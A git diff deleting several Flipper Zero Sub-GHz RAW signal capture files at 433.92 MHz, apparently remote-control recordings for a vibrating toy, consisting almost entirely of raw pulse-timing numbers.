-132 501 -166 1349 -66 97 -66 4227 -130 559 -66 199 -132 1151 -100 299 -66 99 -166 12751 -164 10541 -66 4153 -66 2421 -68 1285 -98 359 -64 367 -66 333 -132 1863 -98 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_2.sub deleted file mode 100644 index 9589939a8..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_2.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 3471 -196 621 -66 2709 -96 2415 -98 431 -436 2981 -132 129 -66 1345 -66 4931 -100 959 -66 655 -98 10445 -66 2403 -98 1277 -66 1951 -68 1725 -98 2305 -66 263 -66 2151 -64 3213 -132 1189 -130 1579 -66 829 -66 1725 -66 963 -232 4425 -66 367 -66 2359 -166 1023 -100 467 -66 133 -66 1027 -102 733 -100 633 -102 863 -100 2371 -98 231 -66 1415 -134 463 -98 2221 -68 795 -134 3677 -66 291 -196 6293 -66 797 -100 425 -66 359 -66 3157 -166 227 -98 1869 -66 327 -230 8803 -132 265 -98 1097 -166 1663 -134 165 -100 633 -66 661 -100 2051 -66 1051 -66 267 -100 231 -100 1025 -100 631 -68 99 -66 1949 -98 593 -68 2665 -98 1143 -68 3191 -130 259 -98 163 -66 5039 -100 2937 -198 1257 -66 1713 -132 3559 -98 2081 -164 2207 -64 2167 -66 3079 -100 133 -98 2255 -100 1925 -198 1459 -66 1193 -134 3619 -68 2223 -166 63 -132 2657 -200 3005 -96 1019 -98 2299 -66 2631 -98 3041 -166 99 -100 737 -100 933 -100 931 -132 499 -66 6673 -294 1349 -66 197 -100 2925 -164 3113 -68 3043 -100 399 -100 1193 -198 667 -66 265 -68 1951 -166 1879 -164 595 -134 331 -66 2519 -132 961 -98 165 -66 1117 -166 457 -66 2823 -200 601 -330 1691 -66 3057 -132 915 -66 2033 -66 1093 -166 3127 -100 1361 -132 3209 -66 433 -66 333 -68 493 -66 831 -132 8959 -130 2353 -132 757 -232 2345 -166 559 -200 1309 -296 2103 -66 1609 -98 395 -100 2873 -98 1895 -100 1185 -132 9153 -98 461 -298 531 -64 1079 -296 459 -66 995 -134 2221 -66 97 -100 1839 -102 4625 -66 787 -66 2411 -68 563 -132 1515 -100 427 -66 921 -98 951 -130 6229 -66 199 -100 497 -134 1923 -132 655 -164 1651 -100 957 -132 731 -66 1465 -264 131 -68 3549 -100 665 -66 165 -234 2857 -100 591 -132 1145 -66 3331 -66 1521 -100 1259 -66 3543 -66 231 -846 415 -860 411 -914 373 -850 387 -978 295 -852 449 -976 289 -864 1287 -66 319 -424 419 -440 427 -388 131 -70 245 -424 419 -428 395 -472 131 -822 417 -418 441 -842 417 -418 407 -456 255 -60 61 -462 425 -852 415 -416 415 -442 409 -418 415 -850 441 -844 423 -430 407 -844 423 -426 407 -878 399 -426 409 -878 401 -424 411 -876 293 -856 383 -870 131 -62 211 -860 415 -852 135 -844 415 -848 201 -68 137 -862 413 -854 455 -828 1571 -68 445 -388 445 -416 317 -510 433 -434 417 -416 387 -872 411 -448 415 -852 427 -410 415 -450 423 -818 421 -444 415 -440 63 -64 281 -402 439 -868 419 -414 411 -850 415 -416 207 -826 439 -420 415 -846 441 -418 417 -846 435 -386 -RAW_Data: 447 -842 269 -858 413 -866 289 -968 411 -850 417 -854 415 -844 429 -852 415 -856 425 -836 1699 -416 451 -418 411 -442 383 -446 421 -428 409 -416 443 -846 411 -418 417 -850 441 -420 417 -416 441 -828 417 -446 413 -418 345 -496 417 -848 449 -404 425 -840 453 -388 415 -864 417 -416 445 -846 411 -416 415 -848 131 -424 415 -846 439 -846 387 -868 413 -888 387 -872 409 -862 417 -846 401 -850 415 -852 423 -874 1665 -416 449 -426 399 -438 417 -416 417 -450 403 -424 445 -844 433 -388 443 -878 379 -424 409 -448 417 -858 413 -418 443 -418 395 -472 381 -850 435 -434 133 -68 211 -858 417 -418 409 -880 385 -448 409 -862 417 -418 409 -870 283 -70 419 -850 413 -844 423 -838 415 -854 423 -876 383 -852 439 -846 419 -870 383 -854 423 -874 1665 -448 305 -426 423 -442 383 -448 101 -430 433 -400 437 -848 419 -412 443 -846 199 -426 411 -448 411 -846 417 -416 445 -416 411 -444 415 -854 399 -438 353 -924 395 -436 415 -874 395 -436 413 -884 391 -436 415 -872 411 -410 445 -854 399 -858 419 -846 439 -814 451 -822 441 -856 395 -868 419 -846 437 -814 451 -820 1705 -440 415 -420 415 -420 437 -428 447 -384 451 -430 427 -838 417 -410 451 -838 413 -442 407 -434 409 -842 441 -410 439 -414 417 -442 415 -838 439 -410 415 -842 443 -410 415 -842 443 -410 447 -846 411 -410 447 -846 413 -412 443 -113364 165 -66 167 -66 131 -266 65 -66 131 -198 167 -134 99 -166 563 -100 2161 -66 3379 -66 561 -134 1391 -264 1127 -100 331 -232 1481 -66 657 -66 1773 -66 301 -66 633 -134 9285 -66 3147 -100 1853 -134 99 -66 1487 -66 99 -66 163 -64 1217 -98 1383 -66 329 -100 1945 -100 1169 -132 2693 -102 2581 -64 195 -64 1083 -98 67 -66 265 -232 659 -166 229 -98 4879 -66 1361 -100 3117 -98 2325 -130 65 -262 3821 -164 1651 -102 1595 -230 299 -100 1525 -66 3387 -66 3943 -68 2725 -66 4105 -66 949 -100 1937 -100 4721 -66 665 -100 2957 -64 2967 -64 1285 -68 2673 -68 3889 -98 1023 -66 1937 -66 365 -66 1161 -66 299 -100 97 -66 265 -66 1765 -100 2031 -66 729 -98 1795 -100 995 -164 1433 -134 4187 -132 199 -166 2649 -98 631 -100 1869 -66 1323 -68 197 -68 1195 -66 165 -66 3327 -164 3787 -98 267 -132 2311 -64 1775 -66 163 -232 723 -132 2333 -132 1647 -66 599 -66 599 -68 501 -100 4767 -100 785 -98 131 -66 97 -100 985 -100 1487 -166 4839 -100 2409 -100 101 -66 2503 -66 361 -296 1093 -100 1525 -132 11863 -66 1161 -132 921 -68 1027 -68 1677 -98 -RAW_Data: 491 -66 1329 -98 3267 -134 9375 -66 3921 -66 1459 -68 301 -134 3689 -66 1689 -130 3359 -66 3183 -132 2873 -132 359 -66 429 -66 959 -66 1355 -132 199 -134 4179 -100 333 -66 397 -66 963 -66 10561 -100 1163 -100 527 -66 521 -98 865 -100 357 -132 1265 -100 497 -100 131 -98 963 -66 1167 -98 2271 -68 1029 -100 2197 -66 3285 -66 333 -66 6783 -66 4713 -66 465 -66 3533 -66 2051 -98 4427 -100 1123 -66 5251 -100 1159 -68 633 -66 2723 -132 9965 -200 2817 -100 2303 -166 3445 -98 2465 -66 231 -298 863 -132 65 -200 163 -100 1419 -132 3443 -200 301 -66 2825 -164 2281 -66 299 -100 2697 -68 2001 -98 2087 -100 131 -66 297 -66 8953 -168 8043 -66 1149 -130 457 -68 4185 -66 431 -134 593 -132 1791 -66 2089 -66 4669 -132 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_3.sub deleted file mode 100644 index eb2c7b76c..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_3.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 6071 -100 5643 -98 1491 -68 563 -66 899 33 1447 -66 393 -66 1615 -98 1521 -66 333 -68 2085 -98 531 -66 7829 -66 6237 -98 233 -100 889 -98 823 -132 1181 -66 1057 -264 961 -130 491 -66 13623 -66 6119 -66 1485 -232 7161 -100 959 -132 5029 -130 2921 -132 4267 -200 7677 -100 4275 -98 1167 -98 6401 -66 1809 -66 527 -132 2423 -134 1159 -98 433 -66 435 -134 2123 -96 5299 -100 2289 -66 2985 -66 2409 -166 1023 -66 165 -132 2257 -134 1975 -98 3745 -66 2849 -66 3571 -100 2193 -132 1159 -66 3451 -100 497 -98 3889 -66 549 -842 375 -880 387 -906 383 -846 427 -870 383 -884 405 -846 427 -852 1703 -418 415 -450 401 -426 409 -448 411 -420 395 -470 383 -882 401 -432 419 -846 415 -432 395 -468 383 -870 411 -442 383 -450 431 -430 407 -846 423 -430 405 -876 399 -426 409 -876 399 -424 445 -844 397 -424 443 -846 401 -426 443 -844 397 -882 419 -854 381 -884 399 -862 417 -846 437 -848 387 -884 389 -874 379 -878 1675 -448 407 -426 407 -448 417 -428 399 -436 419 -414 419 -886 389 -442 383 -886 399 -434 417 -450 387 -852 423 -842 419 -452 411 -442 381 -882 399 -866 417 -848 429 -418 415 -848 441 -418 415 -848 441 -418 415 -846 439 -420 415 -846 435 -848 385 -886 387 -876 415 -858 413 -844 423 -854 381 -886 397 -864 415 -846 1689 -450 401 -424 409 -416 443 -420 397 -438 417 -448 423 -852 385 -444 417 -850 425 -442 383 -448 429 -858 381 -868 411 -450 423 -416 411 -848 417 -852 423 -876 385 -452 411 -840 417 -418 409 -888 383 -448 411 -852 413 -448 409 -860 417 -846 399 -850 415 -890 411 -854 397 -862 415 -848 403 -884 383 -886 387 -874 1691 -416 409 -438 419 -414 419 -444 407 -416 449 -422 411 -840 447 -416 411 -874 381 -446 411 -442 383 -886 397 -866 417 -420 437 -432 387 -876 415 -858 411 -844 427 -448 413 -846 385 -450 409 -852 415 -452 399 -850 415 -452 399 -850 417 -846 407 -848 413 -880 397 -854 415 -852 395 -894 385 -850 439 -848 423 -850 1675 -438 387 -444 417 -450 403 -424 441 -414 413 -422 413 -876 409 -420 423 -840 413 -448 411 -444 415 -836 413 -882 397 -432 417 -448 387 -852 427 -840 417 -848 439 -418 413 -850 439 -418 415 -846 439 -420 415 -848 399 -444 413 -844 403 -872 419 -856 381 -884 395 -868 417 -846 441 -848 419 -850 387 -872 409 -848 1703 -416 413 -424 441 -412 411 -422 421 -444 415 -410 425 -852 413 -442 407 -842 429 -428 407 -418 445 -842 411 -844 427 -424 443 -416 407 -870 417 -848 -RAW_Data: 433 -846 419 -400 433 -846 427 -428 409 -846 425 -412 445 -842 437 -418 415 -123318 65 -526 197 -230 97 -790 229 -98 655 -66 1457 -98 7207 -66 337 -100 1759 -132 67 -100 463 -132 501 -66 393 -166 4199 -64 591 -100 3229 -66 1065 -100 2435 -98 2575 -98 1161 -68 1363 -66 699 -66 299 -66 955 -66 263 -100 1819 -68 1055 -134 497 -100 1163 -132 2095 -132 4373 -66 1677 -100 4253 -166 5145 -66 3935 -98 2395 -100 1457 -132 329 -100 2801 -100 1957 -100 10335 -98 12875 -66 2255 -198 3339 -100 131 -66 791 -66 659 -198 823 -64 10243 -66 133 -102 1589 -98 531 -102 997 -100 297 -100 3221 -66 1129 -66 2647 -100 4655 -66 1209 -66 2635 -164 5803 -66 97 -100 1191 -100 3273 -100 1393 -132 1723 -100 263 -100 2525 -100 7129 -100 1117 -166 4559 -66 2439 -96 5535 -100 601 -68 731 -134 829 -100 165 -102 2405 -66 131 -68 1759 -100 4881 -68 697 -66 1477 -134 7237 -66 6821 -100 5053 -66 1775 -66 2199 -66 165 -98 2431 -66 7537 -66 2919 -100 333 -66 3713 -134 301 -66 1689 -166 5075 -66 13431 -100 927 -100 431 -132 957 -66 691 -130 3843 -64 1541 -66 603 -66 965 -132 161 -66 1277 -64 2179 -136 897 -100 265 -198 2481 -66 295 -98 789 -66 7463 -66 527 -198 4885 -168 331 -66 1557 -100 3617 -66 987 -164 1219 -66 787 -66 1615 -64 493 -64 2187 -66 863 -66 1427 -68 633 -66 3507 -98 2733 -98 2687 -100 4581 -98 1017 -18098 67 -2022 131 -600 65 -466 165 -266 97 -498 529 -100 1723 -66 1987 -232 165 -100 1653 -100 12483 -66 1065 -66 2315 -66 951 -66 1223 -132 1149 -98 3067 -66 927 -200 861 -66 863 -98 465 -166 399 -66 4145 -66 2103 -98 361 -66 2559 -134 4435 -98 757 -100 5381 -100 7173 -66 3149 -132 265 -166 1455 -66 3487 -100 3549 -66 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_4.sub deleted file mode 100644 index e03fae11a..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_05_4.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 797 -100 1527 -100 1093 -66 1691 892 12203 -98 2755 -66 4897 -132 1759 -66 6357 -134 789 -68 21953 -66 16583 -100 1135 -134 25045 -66 12231 -66 1429 -100 461 -98 4025 -66 665 -134 10009 -96 1721 -66 6391 -100 3635 -876 411 -846 419 -850 387 -876 413 -848 413 -846 425 -848 415 -868 1701 -420 415 -418 431 -426 407 -446 411 -420 423 -442 413 -854 399 -438 415 -848 417 -430 411 -444 415 -854 425 -840 417 -418 439 -432 419 -844 419 -856 411 -846 427 -416 447 -846 385 -452 409 -852 413 -452 399 -852 413 -444 429 -844 423 -852 387 -876 409 -848 447 -840 433 -846 383 -852 425 -874 387 -852 441 -844 1705 -388 419 -452 405 -424 445 -414 409 -454 379 -446 417 -854 429 -408 417 -848 435 -428 387 -876 411 -422 425 -412 415 -440 433 -846 423 -428 407 -414 445 -846 413 -416 417 -850 439 -418 415 -848 441 -418 415 -848 405 -452 417 -846 435 -812 417 -854 425 -842 417 -852 441 -846 387 -888 385 -876 411 -850 415 -846 1715 -420 427 -396 437 -416 445 -414 411 -446 413 -418 429 -852 387 -444 415 -852 409 -448 413 -852 427 -408 415 -452 423 -398 435 -842 427 -428 409 -418 443 -844 415 -418 415 -852 441 -416 417 -846 441 -420 415 -846 437 -388 445 -844 403 -852 413 -852 411 -838 453 -854 411 -846 425 -856 411 -856 395 -866 417 -848 1693 -410 421 -424 441 -414 413 -422 411 -448 415 -410 425 -868 419 -398 437 -844 423 -410 447 -842 431 -388 445 -416 409 -424 443 -846 417 -432 411 -446 413 -836 409 -446 417 -834 443 -420 427 -856 379 -450 427 -852 389 -446 413 -868 411 -852 395 -868 417 -848 441 -814 415 -854 421 -872 407 -866 419 -812 429 -848 1703 -420 417 -452 403 -426 409 -416 445 -416 395 -436 417 -850 449 -406 425 -838 419 -454 401 -862 413 -448 399 -432 415 -416 417 -852 411 -446 411 -440 427 -846 387 -434 435 -838 425 -428 405 -878 397 -424 443 -846 401 -424 445 -844 431 -838 423 -850 417 -846 409 -852 451 -842 397 -848 415 -886 387 -876 411 -852 1701 -396 435 -416 445 -420 425 -442 381 -450 393 -450 409 -850 415 -440 409 -874 399 -426 411 -876 403 -424 445 -414 409 -454 379 -874 409 -438 417 -416 417 -854 425 -440 381 -850 435 -434 417 -842 439 -410 417 -848 403 -458 417 -121350 97 -68 329 -334 165 -134 133 -132 101 -200 395 -66 327 -68 15057 -100 9643 -100 4299 -66 4351 -68 3239 -66 6135 -100 12461 -68 8455 -66 3223 -132 197 -166 24917 -66 1735 -66 2597 -98 20895 -100 8735 -100 8153 -66 3551 -68 5291 -66 -RAW_Data: 20001 -66 621 -66 6697 -66 3021 -66 18271 -66 989 -66 163 -66 853 -66 5223 -100 4745 -66 1785 -98 2423 -102 3885 -66 20219 -66 465 -66 9937 -66 3221 -66 1543 -98 897 -68 4671 -68 1559 -134 10025 -166 4609 -66 595 -134 4813 -66 1813 -66 163 -66 987 -64 32031 -68 1129 -66 1329 -132 5819 -100 5403 -66 30723 -64 3757 -66 29671 -66 1763 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_1.sub deleted file mode 100644 index 6e3da0215..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_06_1.sub +++ /dev/null @@ -1,17 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -400 197 -432 131 -66 165 -66 627 -462 919 -198 99 -164 161 -428 99 -696 67 -164 465 -66 231 -198 363 -98 363 -230 293 -98 197 -132 263 -132 163 -132 97 -931 725 -98 131 -230 99 -98 99 -298 131 -692 163 -396 293 -360 197 -918 163 -562 99 -592 197 -100 99 -66 165 -266 99 -200 395 -200 363 -200 133 -598 199 -532 65 -66 231 -132 65 -66 99 -134 165 -198 133 -728 101 -134 99 -102 99 -164 331 -66 231 -66 133 -132 99 -430 133 -696 65 -830 331 -502 131 -66 199 -100 263 -530 231 -366 163 -234 163 -166 97 -132 561 -164 165 -166 167 -66 133 -100 231 -168 99 -98 131 -66 359 -100 263 -1148 65 -132 327 -230 197 -266 63 -100 97 -66 525 -66 197 -398 197 -498 131 -464 65 -366 233 -1794 263 -232 167 -68 99 -198 99 -1526 65 -132 99 -492 723 -66 725 -100 163 -456 263 -164 131 -656 65 -362 99 -230 129 -296 331 -366 163 -294 197 -328 199 -198 331 -100 165 -500 65 -234 99 -462 165 -330 231 -532 263 -1026 65 -266 165 -134 131 -362 131 -100 163 -132 99 -428 165 -1052 65 -98 131 -200 99 -1030 263 -232 325 -198 331 -794 329 -234 165 -68 199 -166 97 -364 65 -266 297 -730 165 -532 97 -732 99 -362 65 -132 97 -132 99 -398 397 -100 99 -200 363 -66 363 -398 65 -132 99 -66 133 -66 97 -200 97 -100 165 -632 131 -266 65 -200 231 -696 199 -196 65 -98 329 -66 361 -164 329 -426 327 -166 65 -198 163 -460 99 -460 363 -1250 231 -132 167 -166 133 -764 99 -268 233 -728 331 -662 329 -330 197 -166 65 -66 231 -232 163 -628 197 -164 133 -234 297 -68 199 -134 65 -168 67 -100 331 -598 65 -2084 195 -198 163 -132 527 -166 65 -198 65 -98 231 -100 233 -66 165 -432 99 -66 331 -132 299 -562 65 -132 227 -594 131 -100 97 -230 395 -132 263 -328 65 -100 131 -1320 197 -130 263 -560 65 -166 65 -66 725 -230 389 -492 129 -166 131 -66 163 -98 131 -266 99 -396 297 -132 199 -334 529 -232 131 -130 1393 -166 197 -132 459 -198 129 -66 559 -198 131 -66 65 -132 631 -298 233 -66 131 -100 231 -398 927 -594 163 -198 131 -132 97 -98 227 -394 197 -600 131 -396 299 -166 165 -862 163 -430 65 -134 131 -266 165 -132 331 -198 131 -100 165 -364 165 -532 65 -332 65 -200 99 -266 331 -98 133 -200 199 -500 163 -100 231 -364 197 -398 165 -134 201 -732 99 -100 97 -932 329 -592 99 -130 131 -130 65 -132 195 -460 63 -66 263 -66 227 -1052 63 -724 361 -RAW_Data: -164 131 -66 99 -460 131 -232 497 -264 99 -264 361 -228 97 -130 165 -196 295 -230 657 -266 265 -400 265 -100 399 -66 197 -66 367 -66 263 -200 99 -98 99 -232 465 -100 97 -68 97 -166 229 -362 231 -232 195 -66 295 -232 229 -98 591 -134 97 -168 99 -232 265 -132 65 -464 265 -132 65 -166 395 -100 2137 -100 299 -66 299 -168 165 -200 329 -100 1693 -66 491 -98 363 -64 2113 -164 195 -98 263 -98 229 -100 263 -198 295 -66 65 -98 229 -100 295 -100 789 -166 199 -98 433 -100 131 -234 229 -134 363 -328 231 -130 261 -264 133 -66 133 -98 433 -200 197 -100 1029 -396 2889 -298 129 -66 823 -98 2599 -66 197 -66 329 -428 261 -232 131 -164 359 -100 625 -132 163 -64 955 -66 231 -200 231 -100 233 -198 193 -98 329 -98 229 -98 429 -66 631 -364 497 -232 231 -66 329 -100 1125 -360 265 -98 397 -662 65 -332 627 -68 1757 -398 1757 -66 427 -66 331 -132 233 -66 1759 -132 527 -134 431 -66 1095 -98 67 -98 97 -66 197 -132 99 -298 297 -100 631 -100 497 -130 233 -134 465 -198 133 -232 463 -66 329 -198 731 -98 231 -66 663 -100 1293 -134 65 -66 595 -166 529 -266 197 -66 65 -298 295 -68 199 -132 199 -132 233 -98 397 -66 299 -132 297 -266 165 -100 133 -232 463 -66 165 -134 2971 -98 463 -132 531 -66 97 -66 263 -98 295 -98 297 -230 65 -100 595 -100 2411 -98 99 -66 1019 -100 365 -134 99 -100 1855 -134 231 -66 165 -830 133 -200 97 -266 465 -132 231 -66 697 -166 163 -326 65 -430 229 -264 397 -132 329 -198 97 -754 363 -200 65 -134 299 -100 97 -166 165 -136 167 -134 231 -196 199 -566 297 -134 267 -66 133 -100 131 -100 65 -430 131 -592 65 -68 131 -166 65 -166 197 -66 65 -232 397 -166 327 -166 561 -100 131 -66 587 -98 949 -98 757 -66 261 -432 197 -232 167 -66 65 -100 97 -530 65 -100 297 -66 265 -134 327 -166 359 -66 163 -230 263 -98 65 -100 463 -200 97 -264 131 -428 63 -232 97 -164 229 -462 361 -198 131 -432 363 -696 197 -130 133 -200 129 -100 227 -66 97 -130 99 -100 131 -298 99 -690 197 -166 201 -166 65 -668 99 -100 265 -1090 65 -100 263 -364 97 -196 65 -464 65 -890 97 -164 99 -98 163 -1062 131 -132 165 -398 231 -132 133 -166 97 -200 99 -134 231 -598 65 -98 165 -758 131 -426 99 -98 197 -662 197 -696 297 -200 465 -628 99 -432 197 -664 431 -264 169 -200 331 -300 65 -134 199 -726 65 -66 265 -232 65 -100 97 -RAW_Data: -66 297 -234 197 -264 197 -100 131 -132 233 -66 197 -166 133 -166 857 -100 199 -68 265 -166 99 -164 461 -100 97 -134 97 -300 231 -232 399 -68 97 -332 67 -166 595 -232 65 -298 131 -100 1419 -98 295 -66 721 -100 65 -132 723 -64 1019 -198 263 -100 695 -66 299 -100 397 -98 65 -98 1459 -134 791 -64 231 -132 199 -66 131 -596 131 -98 263 -132 231 -100 495 -100 431 -132 167 -100 133 -100 165 -266 263 -132 129 -196 99 -264 359 -332 131 -164 99 -198 461 -66 391 -100 197 -202 67 -132 461 -132 165 -460 429 -332 65 -132 165 -166 367 -134 65 -132 99 -168 759 -68 397 -66 463 -132 433 -362 463 -66 231 -100 99 -132 495 -196 989 -166 2059 -166 363 -132 1427 -298 397 -132 395 -166 627 -232 165 -330 163 -198 935 -166 131 -298 365 -66 133 -132 131 -66 365 -230 229 -66 131 -198 261 -330 165 -66 165 -100 97 -266 131 -100 1943 -100 97 -98 591 -66 197 -130 3391 -130 523 -100 433 -66 233 -132 1025 -134 99 -268 629 -132 165 -134 399 -332 229 -66 131 -264 327 -830 99 -100 595 -264 65 -230 559 -66 1117 -100 327 -132 1973 -164 3551 -66 1051 -66 295 -164 493 -198 461 -394 131 -198 97 -130 359 -98 65 -100 99 -66 331 -198 333 -166 429 -132 723 -230 65 -100 4515 -98 97 -166 229 -66 227 -132 391 -132 329 -98 1351 -134 233 -100 1613 -100 231 -68 267 -200 659 -98 531 -100 269 -134 565 -298 497 -198 429 -130 131 -266 65 -66 97 -66 131 -66 561 -98 65 -460 131 -132 793 -66 131 -134 563 -66 133 -264 131 -296 229 -296 99 -64 361 -98 131 -196 165 -64 263 -132 133 -232 133 -232 599 -366 333 -132 197 -132 663 -364 559 -234 131 -66 131 -132 65 -100 65 -264 293 -98 129 -132 97 -66 461 -332 463 -332 393 -98 393 -132 329 -66 97 -100 65 -296 165 -100 261 -132 263 -234 97 -166 163 -260 497 -132 67 -462 361 -396 99 -98 231 -98 165 -228 197 -66 329 -230 131 -1116 359 -98 197 -198 65 -134 131 -534 165 -398 329 -954 99 -528 97 -66 99 -98 99 -232 197 -264 165 -530 97 -100 165 -200 99 -134 297 -332 397 -662 65 -1286 131 -430 163 -66 131 -396 229 -164 197 -164 233 -166 99 -266 197 -828 165 -66 65 -132 295 -594 163 -526 65 -164 131 -66 131 -164 97 -332 331 -134 663 -100 197 -66 199 -100 297 -232 523 -164 65 -134 97 -166 65 -166 165 -1020 97 -198 129 -232 163 -132 131 -2012 99 -264 165 -100 163 -954 331 -394 229 -328 97 -362 427 -RAW_Data: -528 559 -166 165 -530 557 -98 65 -132 1549 -102 363 -98 1117 -264 97 -66 131 -100 1849 -166 131 -66 297 -132 663 -334 131 -264 955 -232 65 -264 363 -66 165 -132 99 -200 297 -266 99 -198 433 -234 165 -68 65 -100 231 -332 65 -100 593 -596 97 -234 465 -100 133 -132 167 -332 165 -266 97 -132 561 -168 1651 -98 695 -232 429 -196 293 -100 63 -66 265 -100 1087 -98 97 -100 657 -330 229 -66 1349 -66 165 -132 591 -66 465 -694 295 -98 491 -132 197 -528 511 -852 415 -846 441 -846 419 -852 389 -872 411 -844 413 -812 417 -866 1665 -450 383 -446 419 -412 411 -448 409 -434 385 -446 417 -868 379 -446 417 -852 427 -408 417 -416 417 -418 433 -856 381 -450 391 -450 409 -428 409 -846 427 -854 411 -410 437 -842 425 -416 445 -816 413 -452 401 -854 417 -418 425 -852 387 -838 419 -852 269 -1010 411 -822 415 -866 413 -848 423 -854 381 -852 403 -884 1667 -422 445 -414 407 -436 385 -448 415 -410 441 -418 415 -846 433 -812 415 -452 407 -424 443 -384 443 -520 327 -842 419 -416 247 -586 407 -452 379 -878 407 -848 415 -416 417 -878 409 -420 415 -846 433 -390 443 -1162 61 -438 417 -846 443 -846 417 -852 387 -874 413 -846 413 -842 425 -852 387 -840 417 -848 403 -882 1667 -578 283 -426 393 -442 409 -580 261 -422 425 -440 381 -850 439 -824 417 -680 175 -440 399 -434 419 -682 165 -828 405 -456 387 -446 413 -420 395 -852 101 -272 415 -418 417 -850 437 -386 447 -846 437 -386 445 -846 233 -590 415 -840 429 -850 415 -852 423 -838 415 -842 405 -870 419 -824 413 -850 439 -826 449 -844 1653 -448 123 -416 441 -384 445 -422 101 -240 65 -426 425 -442 381 -876 395 -866 419 -414 211 -624 407 -422 423 -442 165 -1096 407 -452 379 -512 333 -448 417 -838 259 -998 411 -450 425 -850 389 -444 383 -1048 241 -414 425 -836 383 -452 435 -860 385 -876 395 -848 415 -834 413 -876 419 -816 439 -844 387 -884 387 -874 413 -880 1637 -412 223 -612 413 -416 445 -416 283 -566 419 -414 409 -1046 221 -828 411 -450 357 -484 401 -424 441 -382 445 -850 415 -416 449 -424 103 -428 395 -864 417 -848 399 -426 409 -842 425 -414 445 -844 129 -702 415 -848 407 -454 415 -844 397 -980 281 -846 411 -1066 199 -848 437 -1046 199 -868 395 -1024 227 -878 411 -1078 1437 -450 385 -450 405 -426 407 -416 445 -418 399 -432 417 -846 175 -1076 437 -418 415 -450 367 -456 389 -446 413 -854 397 -436 417 -418 227 -630 413 -844 421 -834 413 -442 411 -1044 239 -RAW_Data: -410 427 -846 385 -440 415 -842 423 -734 91 -130406 65 -3024 197 -100 199 -166 97 -166 65 -100 365 -134 97 -298 131 -700 231 -764 99 -498 395 -1650 97 -600 131 -66 131 -132 65 -66 297 -894 67 -98 233 -66 165 -66 99 -232 199 -98 99 -132 99 -100 297 -100 299 -98 99 -132 67 -98 165 -164 231 -166 65 -1024 197 -100 197 -198 65 -2012 65 -232 99 -132 99 -994 97 -364 133 -132 99 -530 99 -166 265 -132 65 -66 199 -132 165 -66 99 -100 199 -696 199 -336 395 -296 65 -696 65 -68 97 -134 131 -298 165 -134 167 -134 99 -100 199 -464 265 -592 65 -956 65 -132 229 -854 97 -164 65 -66 163 -164 163 -698 99 -132 101 -132 133 -166 231 -198 97 -100 233 -66 133 -134 131 -200 99 -532 263 -200 167 -168 99 -200 65 -132 133 -500 133 -166 99 -168 301 -530 295 -132 97 -462 163 -164 331 -132 165 -132 233 -230 99 -200 197 -234 165 -132 67 -198 299 -1120 65 -164 65 -130 197 -230 65 -494 165 -164 163 -196 131 -362 557 -1026 363 -562 65 -232 63 -396 331 -298 97 -262 65 -66 65 -596 67 -164 393 -66 99 -98 163 -132 97 -64 99 -66 525 -164 229 -166 65 -100 131 -100 199 -132 367 -66 165 -66 331 -98 525 -100 559 -198 97 -66 133 -232 131 -66 297 -68 231 -132 633 -200 197 -100 231 -396 597 -166 465 -66 199 -100 199 -498 131 -132 99 -200 431 -100 597 -266 99 -100 725 -296 265 -166 231 -98 263 -196 461 -230 329 -66 329 -64 823 -232 197 -64 627 -98 427 -132 129 -626 133 -564 295 -300 231 -132 401 -398 163 -294 65 -426 97 -66 231 -130 329 -232 99 -98 393 -694 65 -200 165 -2378 65 -622 131 -64 165 -66 163 -130 99 -164 361 -164 97 -424 295 -164 295 -134 829 -98 267 -68 63 -232 165 -134 199 -366 65 -166 67 -364 267 -166 129 -134 297 -66 97 -166 197 -164 65 -132 65 -98 295 -130 197 -164 165 -196 65 -630 231 -66 65 -466 65 -66 499 -430 65 -232 99 -696 231 -132 67 -596 299 -132 67 -300 131 -330 65 -134 99 -166 131 -100 199 -700 131 -528 63 -198 65 -494 165 -228 131 -296 65 -296 295 -924 295 -498 65 -566 363 -266 131 -298 65 -132 99 -400 97 -166 67 -132 231 -198 263 -134 131 -430 65 -300 97 -394 65 -164 99 -164 97 -198 293 -198 131 -590 97 -924 63 -1022 129 -66 197 -296 363 -132 197 -196 231 -198 65 -132 233 -100 131 -630 199 -364 165 -132 199 -992 265 -330 65 -230 163 -132 97 -66 329 -66 263 -RAW_Data: -460 297 -98 529 -164 395 -132 195 -166 97 -132 229 -492 99 -132 229 -98 163 -66 197 -66 425 -132 327 -132 195 -164 457 -98 753 -164 557 -66 263 -98 163 -198 1379 -66 495 -98 491 -264 361 